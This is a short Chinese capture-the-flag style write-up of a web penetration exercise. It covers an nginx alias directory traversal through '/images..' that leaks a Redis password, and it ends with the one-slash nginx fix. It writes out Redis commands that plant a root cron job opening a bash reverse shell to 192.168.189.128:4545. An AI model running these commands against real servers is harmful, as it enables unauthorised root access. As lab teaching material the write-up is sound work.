记一次web渗透做题思路解析

描述：你是一名网络安全服务工程师，现在需要你对A集团网站进行安全防护，找出其中的漏洞点。

1、对目标服务器进行信息搜集，将web站点监听的端口号和版本信息作为flag值提交，提交格式：flag{端口+版本}；

由于不知道服务器的IP，扫一下

找的web站点，所以是8081端口发现为nginx服务。

2、对目标服务器进行渗透测试，将触发漏洞的关键手段作为flag值提交，提交格式：flag{*****}；

先看看服务器的web有什么东西

发现没有什么，爆破一下目录试试

返回上级，发现目录穿越漏洞，这里的触发漏洞的关键手段就是/images,,.

3、对目标服务器进行渗透测试，发现目标存在数据库服务，将该数据库服务的登录密码作为flag值提交，提交格式：flag{******}；

扫描端口时可以看到有一个6379端口，根据信息看的出是redis数据库

这里直接利用目录穿越漏洞得知密码

4、对目标服务器进行渗透测试，将root家目录中的flag文件内容提交，提交格式：flag{******}；

设置监听端口

使用密码连接目标redis服务并尝试计划任务提权

redis-cli -h target_ip -p server_port -a redis_password

config set dir /var/spool/cron

config set dbfilename root

set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.189.128/4545 0>&1\n\n"

save

服务器上线

5、对目标服务器进行渗透测试，对目标web服务存在的漏洞点进行修复，将修复时所添加的内容进行md5加密后作为flag值提交，提交格式：flag{******}；

通过"images.../"访问时会被替换为别名images/.../导致目录穿越，所以只需要在location指定的别名最后添加一个斜杆即可

加密一下即可